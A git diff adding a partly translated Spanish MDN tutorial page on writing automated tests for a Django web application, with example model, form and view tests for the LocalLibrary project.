+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/testing/index.html b/files/es/learn/server-side/django/testing/index.html
new file mode 100644
index 0000000000..54055b2780
--- /dev/null
+++ b/files/es/learn/server-side/django/testing/index.html
@@ -0,0 +1,906 @@
+---
+title: 'Tutorial de Django Parte 10: Probando una aplicación web Django'
+slug: Learn/Server-side/Django/Testing
+translation_of: Learn/Server-side/Django/Testing
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">A medida que crecen los sitios web se vuelven más difíciles de probar a mano — no sólo hay más para probar, sino que además, a medida que las interacciones entre los componentes se vuelven más complejas, un pequeño cambio en un área puede suponer muchas pruebas adicionales para verificar su impacto en otras áreas. Una forma de mitigar estos problemas es escribir tests automatizados, que pueden ser ejecutados de manera fácil y fiable cada vez que hagas un cambio. Este tutorial muestra cómo automatizar la unidad de pruebas de tu sitio web usando el framework de pruebas de Django.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Completa todos los tópicos anteriores, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Forms">Tutorial Django Parte 9: Trabajando con formularios</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>Entender como escribir pruebas unidatarias para django basado en Páginas web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vista_previa">Vista previa</h2>
+
+<p>El <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library</a> actualmente tiene páginas para mostrar las listas con todos los libros y autores, vistas detalladas para los items de <code>Book</code> y <code>Author,</code><span class="tlid-translation translation" lang="es"><span title="">una página para renovar BookInstances y páginas para crear, actualizar y eliminar elementos de autor (y también registros de libros, si  usted completó el desafío en el tutorial de formularios).</span> <span title="">Incluso con este sitio relativamente pequeño, navegar manualmente a cada página y verificar superficialmente que todo funcione como se espera, puede llevar varios minutos.</span> <span title="">A medida que hagamos cambios y el sitio vaya creciendo, el tiempo requerido para verificar manualmente que todo funcione "correctamente", aumentará de forma muy perniciosa.</span> <span title="">Si continuamos como estamos, pasaríamos la mayor parte de nuestro tiempo probando, y muy poco tiempo mejorando nuestro código.</span></span></p>
+
+<p>¡Las pruebas automatizadas realmente pueden ayudar con este problema! Los beneficios obvios son que pueden  ejecutarse mucho más rápido que las pruebas manuales, pueden probar con un nivel de detalle mucho más bajo y probar exactamente la misma funcionalidad cada vez (¡los testers humanos no son tan confiables!) Porque son pruebas rápidas y automatizadas se puede ejecutar más regularmente, y si falla una prueba,<br>
+ señalan exactamente dónde el código no está funcionando como se esperaba.</p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Además, las pruebas automatizadas pueden actuar como el primer "usuario" del mundo real de su código, lo que le obliga a ser riguroso a la hora de definir y documentar bien, cómo debe comportarse su sitio web.</span> <span title="">A menudo son la base de sus ejemplos de código y documentación.</span> <span title="">Por estas razones, algunos procesos de desarrollo de software comienzan con la definición e implementación de la prueba, después de lo cual el código se escribe para que coincida con el comportamiento requerido (por ejemplo, desarrollo basado en pruebas y en comportamiento).</span><br>
+ <br>
+ <span title="">Este tutorial muestra cómo escribir pruebas automatizadas para Django, agregando una serie de pruebas al sitio web LocalLibrary.</span></span></p>
+
+<h3 id="Tipos_de_pruebas">Tipos de pruebas</h3>
+
+<p>Hay numeroso tipos, niveles y clasificaciones de pruebas y enfoques de pruebas. Las pruebas automáticas más importantes son:</p>
+
+<dl>
+ <dt>Pruebas unitarias</dt>
+ <dd>Verifica el comportamiento funcional de un componente individual, a menudo de una clase y su nivel de funcional.</dd>
+ <dt>Pruebas de regresión</dt>
+ <dd>Pruebas que reproducen errores históricos. Cada prueba es inicialmente ejecutada para verificar que el error ha sido corregido, y estos son ejecutados de nuevo para asegurarnos que los errores no fueron reintroducidos con los futuros cambios en el código.</dd>
+ <dt>Pruebas de integración</dt>
+ <dd>Verifica cómo funcionan los grupos de componentes cuando se usan juntos. Las pruebas de integración son conscientes de las interacciones requeridas entre componentes, pero no necesariamente de las operaciones internas de cada componente. Pueden cubrir agrupaciones simples de componentes hasta todo el sitio web.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota: </strong>Otros tipos comunes de pruebas incluyen pruebas de caja negra, caja blanca, manuales, automatizadas, canarias, de humo, de conformidad, de aceptación, funcionales, de rendimiento, de carga y de esfuerzo. Búscalos para más información.</p>
+</div>
+
+<h3 id="Que_provee_Django_para_pruebas">Que provee Django para pruebas?</h3>
+
+<p>Probar un sitio web es una tarea compleja, porque está compuesto por varias capas de lógica, desde el manejo de solicitudes a nivel HTTP, modelos de consultas, hasta la validación y procesamiento de formularios y la representación de plantillas.</p>
+
+<p>Django proporciona un marco de prueba con una pequeña jerarquía de clases que se basan en la libreria <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code> estándar Python. A pesar del nombre, este marco de prueba es adecuado tanto para pruebas unitarias como de integración. El marco de Django agrega métodos y herramientas API para ayudar a probar el comportamiento web y específico de Django. Estos le permiten simular solicitudes, insertar datos de prueba e inspeccionar la salida de su aplicación. Django también proporciona una API(<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) y herramientas para  <a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/#other-testing-frameworks">usar diferentes frameworks de pruebas</a> , por ejemplo, puede integrarse con el popular framework <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> para simular la interacción de un usuario con un navegador en vivo.</p>
+
+<p>Para escribir una prueba, se deriva de cualquiera de las clases base de prueba de Django (o unittest)(<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) y luego escribir métodos separados para verificar que la funcionalidad específica funcione como se esperaba (las pruebas usan métodos "assert"  para probar que las expresiones dan valores <code>True</code> o <code>False</code>, o que dos valores son iguales, etc.) Cuando inicia una ejecución de prueba, el marco ejecuta los métodos de prueba elegidos en sus clases derivadas. Los métodos de prueba se ejecutan de forma independiente, con un comportamiento común de configuración y / o desmontaje definido en la clase, como se muestra a continuación.</p>
+
+<pre class="brush: python notranslate">class YourTestClass(TestCase):
+
+    def setUp(self):
+        #Setup run before every test method.
+        pass
+
+    def tearDown(self):
+        #Clean up run after every test method.
+        pass
+
+    def test_something_that_will_pass(self):
+        self.assertFalse(False)
+
+    def test_something_that_will_fail(self):
+        self.assertTrue(False)
+</pre>
+
+<p>La mejor clase base para la mayoría de las pruebas es <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>.  Esta clase de prueba crea una base de datos limpia antes de que se ejecuten sus pruebas y ejecuta cada función de prueba en su propia transacción. La clase también posee una prueba <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">Client</a> que puede utilizar para simular la interacción de un usuario con el código en el nivel de vista. En las siguientes secciones, nos concentraremos en las pruebas unitarias, creadas con esta clase <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a></p>
+
+<div class="note">
+<p><strong>Nota:</strong> La clase <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a> es muy conveniente, pero puede resultar en que algunas pruebas sean más lentas de lo necesario (no todas las pruebas necesitarán configurar su propia base de datos o simular la interacción de la vista). Una vez que esté familiarizado con lo que puede hacer con esta clase, es posible que desee reemplazar algunas de sus pruebas con las clases de prueba más simples disponibles.</p>
+</div>
+
+<h3 id="Que_deberias_probar">Que deberias probar?</h3>
+
+<p>Debe probar todos los aspectos de su propio código, pero no ninguna biblioteca o funcionalidad proporcionada como parte de Python o Django.</p>
+
+<p>Por ejemplo, considere el modelo <code>Author</code> definido abajo. No es necesario probarlo explícitamente <code>first_name</code> y <code>last_name</code> han sido almacenados correctamente como <code>CharField</code> en la base de datos porque eso es algo definido por Django (aunque, por supuesto, en la práctica, inevitablemente probará esta funcionalidad durante el desarrollo). Tampoco es necesario probar que el <code>date_of_birth</code> ha sido validado para ser un campo de fecha, porque nuevamente es algo implementado en Django.</p>
+
+<p>Sin embargo, debe verificar el texto utilizado para las etiquetas (nombre, apellido, fecha de nacimiento, fallecimiento) y el tamaño del campo asignado para el texto (100 caracteres), porque estos son parte de su diseño y algo que podría ser roto / cambiado en el futuro.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return '%s, %s' % (self.last_name, self.first_name)</pre>
+
+<p>Del mismo modo, debe verificar que los métodos personalizados <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> y  <code style="font-style: normal; font-weight: normal;">__str__()</code>comportarse como sea necesario porque son su código / lógica empresarial. En el caso de <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> puedes confiar en que el metodo de Django <code>reverse()</code> se ha implementado correctamente, por lo que lo que está probando es que la vista asociada se haya definido realmente.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Los lectores astutos pueden notar que también querríamos restringir la fecha de nacimiento y muerte a valores sensibles, y comprobar que la muerte viene después del nacimiento. En Django, esta restricción se agregaría a sus clases de formulario (aunque puede definir validadores para los campos, estos parecen usarse solo en el nivel del formulario, no en el nivel del modelo).</p>
+</div>
+
+<p>Con eso en mente, comencemos a ver cómo definir y ejecutar pruebas.</p>
+
+<h2 id="Descripción_general_de_la_estructura_de_prueba">Descripción general de la estructura de prueba</h2>
+
+<p>Antes de entrar en los detalles de "qué probar", primero veamos brevemente dónde y cómo se definen las pruebas..</p>
+
+<p>Django utiliza el descubrimiento de pruebas integrado del módulo unittest (<a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">built-in test discovery)</a>, que descubrirá pruebas en el directorio de trabajo actual en cualquier archivo nombrado con el patrón <strong>test*.py</strong>. Siempre que asigne un nombre a los archivos de forma adecuada, puede utilizar la estructura que desee. Le recomendamos que cree un módulo para su código de prueba y que tenga archivos separados para modelos, vistas, formularios y cualquier otro tipo de código que necesite probar. Por ejemplo:</p>
+
+<pre class="notranslate">catalog/
+  /tests/
+    __init__.py
+    test_models.py
+    test_forms.py
+    test_views.py
+</pre>
+
+<p>Cree una estructura de archivo como se muestra arriba en su proyecto  <em>LocalLibrary</em>. El  <strong>__init__.py</strong> debe ser un archivo vacío (esto le dice a Python que el directorio es un paquete). Puede crear los tres archivos de prueba copiando y cambiando el nombre del archivo de prueba de esqueleto <strong>/catalog/tests.py</strong>.</p>
+
+<div class="note">
+<p><strong>Note:</strong>El archivo de prueba <strong>/catalog/tests.py</strong>se creó automáticamente cuando creamos el sitio web esqueleto de Django ( <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">built the Django skeleton website)</a>.</p>
+
+<p>Es perfectamente "legal" poner todas sus pruebas dentro de él, pero si prueba correctamente, rápidamente terminará con un archivo de prueba muy grande e inmanejable.</p>
+
+<p>Elimina el archivo esqueleto ya que no lo necesitaremos.</p>
+</div>
+
+<p>Abre el archivo <strong>/catalog/tests/test_models.py</strong>. El archivo debe importar <code>django.test.TestCase</code>, como se muestra:</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+# Create your tests here.
+</pre>
+
+<p>A menudo, agregará una clase de prueba para cada modelo / vista / formulario que desee probar, con métodos individuales para probar una funcionalidad específica. En otros casos, es posible que desee tener una clase separada para probar un caso de uso específico, con funciones de prueba individuales que prueben aspectos de ese caso de uso (por ejemplo, una clase para probar que un campo de modelo está validado correctamente, con funciones para probar cada uno de los posibles casos de falla). Una vez más, la estructura depende en gran medida de usted, pero es mejor si es coherente.</p>
+
+<p>Agregue la clase de prueba a continuación al final del archivo. La clase demuestra cómo construir una clase de caso de prueba derivando de <code>TestCase</code>.</p>
+
+<pre class="brush: python notranslate">class YourTestClass(TestCase):
+
+    @classmethod
+    def setUpTestData(cls):
+        print("setUpTestData: Run once to set up non-modified data for all class methods.")
+        pass
+
+    def setUp(self):
+        print("setUp: Run once for every test method to setup clean data.")
+        pass
+
+    def test_false_is_false(self):
+        print("Method: test_false_is_false.")
+        self.assertFalse(False)
+
+    def test_false_is_true(self):
+        print("Method: test_false_is_true.")
+        self.assertTrue(False)
+
+    def test_one_plus_one_equals_two(self):
+        print("Method: test_one_plus_one_equals_two.")
+        self.assertEqual(1 + 1, 2)</pre>
+
+<p>La nueva clase define dos métodos que puede utilizar para la configuración previa a la prueba (por ejemplo, para crear modelos u otros objetos que necesitará para la prueba):</p>
+
+<ul>
+ <li><code>setUpTestData()</code> se llama una vez al comienzo de la ejecución de prueba para la configuración a nivel de clase. Usaría esto para crear objetos que no se modificarán ni cambiarán en ninguno de los métodos de prueba.</li>
+ <li><code>setUp()</code> se llama antes de cada función de prueba para configurar cualquier objeto que pueda ser modificado por la prueba (cada función de prueba obtendrá una versión "nueva" de estos objetos).</li>
+</ul>
+
+<div class="note">
+<p>Las clases de prueba también tienen un metodo <code>tearDown()</code> que no hemos utilizado. Este método no es particularmente útil para las pruebas de bases de datos, ya que <code>TestCase</code> la clase base se encarga del desmontaje de la base de datos por usted.</p>
+</div>
+
+<p>Debajo de ellos tenemos una serie de métodos de prueba, que utilizamos funciones <code>Assert</code> toprobar si las condiciones son verdaderas, falsas o iguales (<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>). Si la condición no se evalúa como se esperaba, la prueba fallará y reportará el error a su consola.</p>
+
+<p>Los <code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code> son afirmaciones estándar proporcionadas por <strong>unittest</strong>.  Hay otras aserciones estándar en el marco y también aserciones específicas de Django (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#assertions">Django-specific assertions</a>) para probar si una vista redirecciona (<code>assertRedirects</code>),para probar si se ha utilizado una plantilla en particular (<code>assertTemplateUsed</code>), etc.</p>
+
+<div class="note">
+<p>Normalmente no debería incluir funciones print () en sus pruebas como se muestra arriba. Lo hacemos aquí solo para que pueda ver el orden en que se llaman las funciones de configuración en la consola (en la siguiente sección).</p>
+</div>
+
+<h2 id="Como_correr_las_pruebas">Como correr las pruebas</h2>
+
+<p>La forma más sencilla de ejecutar todas las pruebas es utilizar el comando:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py test</pre>
+
+<p>Esto descubrirá todos los archivos nombrados con el patrón <strong>test*.py</strong> bajo el directorio actual y ejecute todas las pruebas definidas usando las clases base apropiadas (aquí tenemos una serie de archivos de prueba, pero solo <strong>/catalog/tests/test_models.py</strong> contiene actualmente cualquier prueba). De forma predeterminada, las pruebas informarán individualmente solo sobre las fallas de las pruebas, seguidas de un resumen de la prueba.</p>
+
+<div class="note">
+<p>Si recibe errores similares a: <code>ValueError: Missing staticfiles manifest entry ...</code> esto puede deberse a que las pruebas no ejecutan collectstatic de forma predeterminada y su aplicación usa una clase de almacenamiento que lo requiere (consulte manifest_strict para obtener más información). Hay varias formas de superar este problema; la más fácil es simplemente ejecutar collectstatic antes de ejecutar las pruebas:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py collectstatic
+</pre>
+</div>
+
+<p>Ejecute las pruebas en el directorio raíz de LocalLibrary. Debería ver un resultado como el siguiente.</p>
+
+<pre class="brush: bash notranslate">&gt;python manage.py test
+
+Creating test database for alias 'default'...
+<strong>setUpTestData: Run once to set up non-modified data for all class methods.
+setUp: Run once for every test method to setup clean data.
+Method: test_false_is_false.
+.setUp: Run once for every test method to setup clean data.
+Method: test_false_is_true.
+FsetUp: Run once for every test method to setup clean data.
+Method: test_one_plus_one_equals_two.</strong>
+.
+======================================================================
+FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true
+    self.assertTrue(False)
+AssertionError: False is not true
+
+----------------------------------------------------------------------
+Ran 3 tests in 0.075s
+
+FAILED (failures=1)
+Destroying test database for alias 'default'...</pre>
+
+<p>Aquí vemos que tuvimos una falla de prueba, y podemos ver exactamente qué función falló y por qué (se espera esta falla, porque <code>False</code> no es <code>True</code>!).</p>
+
+<div class="note">
+<p>Sugerencia: Lo más importante que debe aprender del resultado de la prueba anterior es que es mucho más valioso si usa nombres descriptivos / informativos para sus objetos y métodos.</p>
+</div>
+
+<p>El texto que se muestra en <strong>negritas</strong> anterior normalmente no aparecería en la salida de prueba (esto es generado por la funcion <code>print()</code> en nuestra prueba). Esto muestra el metodo <code>setUpTestData()</code> es llamado una vez para la clase y <code>setUp()</code>se llama antes de cada método.</p>
+
+<p>Las siguientes secciones muestran cómo puede ejecutar pruebas específicas y cómo controlar cuánta información muestran las pruebas.</p>
+
+<h3 id="Mostrando_más_información_de_las_pruebas">Mostrando más información de las pruebas</h3>
+
+<p>Si desea obtener más información sobre la ejecución de prueba, puede cambiar el nivel de detalle. Por ejemplo, para enumerar los éxitos y fallas de la prueba (y una gran cantidad de información sobre cómo está configurada la base de datos de prueba), puede establecer la verbosidad en "2" como se muestra:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py test --verbosity 2</pre>
+
+<p>The allowed verbosity levels are 0, 1, 2, and 3, with the default being "1".</p>
+
+<h3 id="Ejecutando_pruebas_especificas">Ejecutando pruebas especificas</h3>
+
+<p>Si desea ejecutar un subconjunto de sus pruebas, puede hacerlo especificando la ruta de puntos completa al paquete (s), módulo, <code>TestCase</code> subclase o metodo:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py test catalog.tests   # Run the specified module
+python3 manage.py test catalog.tests.test_models  # Run the specified module
+python3 manage.py test catalog.tests.test_models.YourTestClass # Run the specified class
+python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two  # Run the specified method
+</pre>
+
+<h2 id="Pruebas_en_el_proyecto_LocalLibrary">Pruebas en el proyecto LocalLibrary</h2>
+
+<p>Ahora que sabemos cómo ejecutar nuestras pruebas y qué tipo de cosas necesitamos probar, veamos algunos ejemplos prácticos.</p>
+
+<div class="note">
+<p>Nota: No escribiremos todas las pruebas posibles, pero esto debería darle una idea de cómo funcionan las pruebas y qué más puede hacer.</p>
+</div>
+
+<h3 id="Modelos">Modelos</h3>
+
+<p>Como se discutió anteriormente, debemos probar todo lo que sea parte de nuestro diseño o que esté definido por el código que hayamos escrito, pero no las bibliotecas / código que ya haya probado Django o el equipo de desarrollo de Python.</p>
+
+<p>Por ejemplo, considere el modelo de <code>Author</code> a continuación. Aquí deberíamos probar las etiquetas para todos los campos, porque aunque no hemos especificado explícitamente la mayoría de ellos, tenemos un diseño que dice cuáles deberían ser estos valores. Si no probamos los valores, entonces no sabemos que las etiquetas de los campos tienen sus valores deseados. De manera similar, aunque confiamos en que Django creará un campo de la longitud especificada, vale la pena especificar una prueba para esta longitud para asegurarse de que se implementó según lo planeado.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return '%s, %s' % (self.last_name, self.first_name)</pre>
+
+<p>Abra su <strong>/catalog/tests/test_models.py</strong>, y reemplace cualquier código existente con el siguiente código de prueba para el modelo de <code>Author</code>.</p>
+
+<p>Aquí usted verá que primero importamos <code>TestCase</code> y derivamos nuestras clases de prueba (<code>AuthorModelTest</code>) de ello, usando un nombre descriptive para que así podamos fácilmente cualquier pruebas fallidas en el output de la prueba. Luego llamamos a <code>setUpTestData()</code> para crear un objeto de autor que usaremos pero no modificaremos en ninguna de las pruebas.</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+# Create your tests here.
+
+from catalog.models import Author
+
+class AuthorModelTest(TestCase):
+
+    @classmethod
+    def setUpTestData(cls):
+        #Set up non-modified objects used by all test methods
+        Author.objects.create(first_name='Big', last_name='Bob')
+
+    def test_first_name_label(self):
+        author=Author.objects.get(id=1)
+        field_label = author._meta.get_field('first_name').verbose_name
+        self.assertEquals(field_label,'first name')
+
+    def test_date_of_death_label(self):
+        author=Author.objects.get(id=1)
+        field_label = author._meta.get_field('date_of_death').verbose_name
+        self.assertEquals(field_label,'died')
+
+    def test_first_name_max_length(self):
+        author=Author.objects.get(id=1)
+        max_length = author._meta.get_field('first_name').max_length
+        self.assertEquals(max_length,100)
+
+    def test_object_name_is_last_name_comma_first_name(self):
+        author=Author.objects.get(id=1)
+        expected_object_name = '%s, %s' % (author.last_name, author.first_name)
+        self.assertEquals(expected_object_name,str(author))
+
+    def test_get_absolute_url(self):
+        author=Author.objects.get(id=1)
+        #This will also fail if the urlconf is not defined.
+        self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre>
+
+<p>The field tests check that the values of the field labels (<code>verbose_name</code>) and that the size of the character fields are as expected. These methods all have descriptive names, and follow the same pattern:</p>
+
+<pre class="brush: python notranslate">author=Author.objects.get(id=1)   # Get an author object to test
+field_label = author._meta.get_field('first_name').verbose_name   # Get the metadata for the required field and use it to query the required field data
+self.assertEquals(field_label,'first name')  # Compare the value to the expected result</pre>
+
+<p>The interesting things to note are:</p>
+
+<ul>
+ <li>We can't get the <code>verbose_name</code> directly using <code>author.first_name.verbose_name</code>, because <code>author.first_name</code> is a <em>string</em> (not a handle to the <code>first_name</code> object that we can use to access its properties). Instead we need to use the author's <code>_meta</code> attribute to get an instance of the field and use that to query for the additional information.</li>
+ <li>We chose to use <code>assertEquals(field_label,'first name')</code> rather than <code>assertTrue(field_label == 'first name')</code>. The reason for this is that if the test fails the output for the former tells you what the label actually was, which makes debugging the problem just a little easier.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> Tests for the <code>last_name</code> and <code>date_of_birth</code> labels, and also the test for the length of the <code>last_name</code> field have been omitted. Add your own versions now, following the naming conventions and approaches shown above.</p>
+</div>
+
+<p>We also need to test our custom methods. These essentially just check that the object name was constructed as we expected using "Last Name", "First Name" format, and that the URL we get for an <code>Author</code> item is as we would expect.</p>
+
+<pre class="brush: python notranslate">def test_object_name_is_last_name_comma_first_name(self):
+    author=Author.objects.get(id=1)
+    expected_object_name = '%s, %s' % (author.last_name, author.first_name)
+    self.assertEquals(expected_object_name,str(author))
+
+def test_get_absolute_url(self):
+    author=Author.objects.get(id=1)
+    #This will also fail if the urlconf is not defined.
+    self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre>
+
+<p>Run the tests now. If you created the Author model as we described in the models tutorial it is quite likely that you will get an error for the <code>date_of_death</code> label as shown below. The test is failing because it was written expecting the label definition to follow Django's convention of not capitalising the first letter of the label (Django does this for you).</p>
+
+<pre class="brush: bash notranslate">======================================================================
+FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label
+    self.assertEquals(field_label,'died')
+AssertionError: 'Died' != 'died'
+- Died
+? ^
++ died
+? ^</pre>
+
+<p>This is a very minor bug, but it does highlight how writing tests can more thoroughly check any assumptions you may have made.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Change the label for the date_of_death field (/catalog/models.py) to "died" and re-run the tests.</p>
+</div>
+
+<p>The patterns for testing the other models are similar so we won't continue to discuss these further. Feel free to create your own tests for the our other models.</p>
+
+<h3 id="Formularios">Formularios</h3>
+
+<p>The philosophy for testing your forms is the same as for testing your models; you need to test anything that you've coded or your design specifies, but not the behaviour of the underlying framework and other third party libraries.</p>
+
+<p>Generally this means that you should test that the forms have the fields that you want, and that these are displayed with appropriate labels and help text. You don't need to verify that Django validates the field type correctly (unless you created your own custom field and validation) — i.e. you don't need to test that an email field only accepts emails. However you would need to test any additional validation that you expect to be performed on the fields and any messages that your code will generate for errors.</p>
+
+<p>Consider our form for renewing books. This has just one field for the renewal date, which will have a label and help text that we will need to verify.</p>
+
+<pre class="brush: python notranslate">class RenewBookForm(forms.Form):
+    """
+    Form for a librarian to renew books.
+    """
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        #Check date is not in past.
+        if data &lt; datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+        #Check date is in range librarian allowed to change (+4 weeks)
+        if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data</pre>
+
+<p>Open our <strong>/catalog/tests/test_forms.py</strong> file and replace any existing code with the following test code for the <code>RenewBookForm</code> form. We start by importing our form and some Python and Django libraries to help test test time-related functionality. We then declare our form test class in the same way as we did for models, using a descriptive name for our <code>TestCase</code>-derived test class.</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+# Create your tests here.
+
+import datetime
+from django.utils import timezone
+from catalog.forms import RenewBookForm
+
+class RenewBookFormTest(TestCase):
+
+    def test_renew_form_date_field_label(self):
+        form = RenewBookForm()
+        self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date')
+
+    def test_renew_form_date_field_help_text(self):
+        form = RenewBookForm()
+        self.assertEqual(form.fields['renewal_date'].help_text,'Enter a date between now and 4 weeks (default 3).')
+
+    def test_renew_form_date_in_past(self):
+        date = datetime.date.today() - datetime.timedelta(days=1)
+        form_data = {'renewal_date': date}
+        form = RenewBookForm(data=form_data)
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_too_far_in_future(self):
+        date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1)
+        form_data = {'renewal_date': date}
+        form = RenewBookForm(data=form_data)
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_today(self):
+        date = datetime.date.today()
+        form_data = {'renewal_date': date}
+        form = RenewBookForm(data=form_data)
+        self.assertTrue(form.is_valid())
+
+    def test_renew_form_date_max(self):
+        date = timezone.now() + datetime.timedelta(weeks=4)
+        form_data = {'renewal_date': date}
+        form = RenewBookForm(data=form_data)
+        self.assertTrue(form.is_valid())
+</pre>
+
+<p>The first two functions test that the field's <code>label</code> and <code>help_text</code> are as expected. We have to access the field using the fields dictionary (e.g. <code>form.fields['renewal_date']</code>). Note here that we also have to test whether the label value is <code>None</code>, because even though Django will render the correct label it returns <code>None</code> if the value is not <em>explicitly</em> set.</p>
+
+<p>The rest of the functions test that the form is valid for renewal dates just inside the acceptable range and invalid for values outside the range. Note how we construct test date values around our current date (<code>datetime.date.today()</code>) using <code>datetime.timedelta()</code> (in this case specifying a number of days or weeks). We then just create the form, passing in our data, and test if it is valid.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Here we don't actually use the database or test client. Consider modifying these tests to use <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p>
+
+<p>We also need to validate that the correct errors are raised if the form is invalid, however this is usually done as part of view processing, so we'll take care of that in the next section.</p>
+</div>
+
+<p>That's all for forms; we do have some others, but they are automatically created by our generic class-based editing views, and should be tested there! Run the tests and confirm that our code still passes!</p>
+
+<h3 id="Vistas">Vistas</h3>
+
+<p>To validate our view behaviour we use the Django test <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. This class acts like a dummy web browser that we can use to simulate <code>GET</code> and <code>POST</code> requests on a URL and observe the response. We can see almost everything about the response, from low-level HTTP (result headers and status codes) through to the template we're using to render the HTML and the context data we're passing to it. We can also see the chain of redirects (if any) and check the URL and status code at each step. This allows us to verify that each view is doing what is expected.</p>
+
+<p>Let's start with one of our simplest views, which provides a list of all Authors. This is displayed at URL <strong>/catalog/authors/</strong> (an URL named 'authors' in the URL configuration).</p>
+
+<pre class="brush: python notranslate">class AuthorListView(generic.ListView):
+    model = Author
+    paginate_by = 10
+</pre>
+
+<p>As this is a generic list view almost everything is done for us by Django. Arguably if you trust Django then the only thing you need to test is that the view is accessible at the correct URL and can be accessed using its name. However if you're using a test-driven development process you'll start by writing tests that confirm that the view displays all Authors, paginating them in lots of 10.</p>
+
